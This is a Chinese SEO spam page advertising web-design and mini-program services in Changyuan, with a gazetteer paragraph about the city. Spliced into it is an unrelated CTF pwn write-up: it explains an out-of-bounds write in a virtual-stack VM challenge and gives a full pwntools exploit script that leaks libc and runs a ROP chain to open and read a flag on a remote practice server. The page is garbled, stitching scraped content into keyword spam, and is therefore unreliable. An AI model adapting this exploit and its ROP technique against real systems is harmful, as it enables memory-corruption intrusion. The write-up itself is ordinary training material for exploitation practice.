长垣企业微信公众号小程序开发公司、长垣企业网页设计方案、长垣做网站开发价格、长垣微信公众号制作运营报价明细表、长垣网站设计公司费用、长垣网站推广大概需要多少钱-网站优化-网站建设【企业网站制作|网页设计】- 高端网站建设 - 书生商友信息科技-

全国热线:400-111-6878

网站建设推广专家

长垣企业微信公众号小程序开发公司、长垣企业网页设计方案、长垣做网站开发价格、长垣微信公众号制作运营报价明细表、长垣网站设计公司费用、长垣网站推广大概需要多少钱

发表日期: 2021-04-30 10:57:42 浏览次数:93

长垣企业微信公众号小程序开发公司、长垣企业网页设计方案、长垣做网站开发价格、长垣微信公众号制作运营报价明细表、长垣网站设计公司费用、长垣网站推广大概需要多少钱


长垣市,河南省辖县级市,新乡市代管, [1]  位于豫东北地区,介于东经114°29'—114°59'、北纬34°59'—35°23'之间,总面积1051平方千米。 [2]  截至2020年6月,长垣市下辖5个街道、11镇、2乡, [3]  总人口88.18万人(2019年)。 [4]  市政府驻蒲西街道人民路368号。 [1] 

前221年,秦改首邑为长垣县。2019年8月,河南省撤销长垣县,设立县级长垣市。 [1]  属暖温带大陆性季风型气候。 [2]  长济高速、大庆—广州高速公路、济东高速公路、新菏铁路、省道308线、213线穿境而过。

长垣市是全国文明城市 [5]  、国家园林县城 [6]  、国家新型城镇化综合试点地区 [7]  、全国科普示范区 [8]  、节水型社会建设达标县 [9]  、国家农产品质量安全县 [10]  、全国农村创新创业典型县 [11]  、革命文物保护利用片区分县。 [12] 


我的理解是 相当于在函数栈里伪造一个虚拟栈,又伪造了栈顶指针,然后在这个虚拟栈里你可以进行一些操作,如add(将栈顶两个元素相加),push,pop等,然后有时候由于检验不当,就会造成越界,导致原本操作只是在虚拟栈里变成了可以影响实际函数栈的数据,相当于可以劫持RBP,RET,如果能做到这一步,接下来就是常规的ROP了

 

这是add指令,stack[r_sp+1000]就相当于栈顶

 

image-20210317205240286

 

push指令更好理解

 

image-20210317205437489

 

注意到下面这两处

 

image-20210317205812460

 

这两个指令意思相差不多,都可以越界写,我们以第一个指令为例子

 

这里的 v31 = buf[buf_index] ,而buf[buf_index]是我们自己控制的,也就相当于我们可以控制

 

stack[v31 +999]指向任意地址处,因为c语言中并不会对数组越界进行检查,我们大可以构造如stack[5000] 或者 stack[-5000],就可以通过算偏移得出stack[num]中的num(stack一个元素为四个字节大小),然后stack[r_sp + 1000] 是栈顶数据,我们可以通过push指令给它赋任意值

 

综上,我们就可以往任意地址写任意数据,通过调试我们就可以得到实际函数栈中的RET地址距stack[]的偏移,从而我们可以覆盖RET,实现ROP,从而get shell或者orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import * 
context(os='linux',arch='amd64',log_level='debug')
 
#r = gdb.debug("./hh",'break main')
#r = process('./hh')
= remote("node3.buuoj.cn"27223
elf = ELF('./hh')
pop_rdi = 0x4011A3
main = 0x000000000401084
buf = 0x602060
read = 0x0000000000400710
pop_rsi_r15 = 0x0000000004011A1
puts_plt = 0x4006f0
puts_got = 0x601FA8
start = 0x400750
 
def code(cod):
    out1 = b''
    for in cod:
        out1 += p32(i)
    return out1
 
def stack(buf):
    out2 = b''
    for in range(len(buf)):
        out2 += code([ 9 , buf[i]&0xffffffff 12 , i * 2 + 1007 9 , buf[i] >> 32 12 , i * 2 + 1008])
    return out2
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")
 
payload1 = stack([pop_rdi,puts_got,puts_plt,start])
 
r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recv()
libc_base = u64(r.recvline()[:-1].ljust(8, b'\x00')) -     0x06f6a0
log.info(hex(libc_base))
open_addr = libc_base + 0xF70F0
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")
 
payload1 = code([6 4 0x67616c660]) + stack([pop_rdi, buf+8 , open_addr ,start])
 
r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")
 
payload1 = stack([pop_rdi ,3 , pop_rsi_r15 , buf + 0x500 0 , read , start])
 
r.send(payload1)
r.recvuntil("choice :")
r.sendline('2')
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil("code:")
 
payload1 = stack([pop_rdi , buf + 0x500 , puts_plt , start])
 
r.send(payload1)
r.recvuntil("choice :")
 
r.sendline('2')
r.recv()
r.interactive()

脚本的重点是

1
2
3
4
5
6
7
8
9
10
11
def code(cod):
    out1 = b''
    for in cod:
        out1 += p32(i)
    return out1
 
def stack(buf):
    out2 = b''
    for in range(len(buf)):
        out2 += code([ 9 , buf[i]&0xffffffff 12 , i * 2 + 1007 9 , buf[i] >> 32 12 , i * 2 + 1008])
    return out2

stack函数中的1007就是调试出来的偏移,9是push指令,12是越界写,由于一次只能写4字节,所以得分两次写


微信图片_20210425092605.jpg


长垣企业微信公众号小程序开发公司长垣企业网页设计方案长垣做网站开发价格、长垣微信公众号制作运营报价明细表、长垣网站设计公司费用、长垣网站推广大概需要多少钱

上一条:长垣小程序制作【长垣企业邮箱】长垣网站外包、长垣微信商城开发、长垣网店美工、长垣淘宝设计
下一条:长垣网络公司哪家好【长垣企业网站百度SEO推广公司】长垣做网站开发价格、长垣淘宝店铺开店装修设计运营、公司网站制作方案流程改版维护费用、长垣高端企业网站页面制作设计专业公司需要多少钱
网站制作
小程序制作
网站优化
网站开发
400电话办理
网络推广
网站建设
网店装修
微信公众号开发
网页设计
网络公司
域名企业邮箱
服务器空间
网站案例报价
百科问答
编辑排版美工
App软件开发
百度推广
代运营托管
logo设计
网络全网营销
网站备案
网站定制
小程序开发公司
首页
电话
立即预约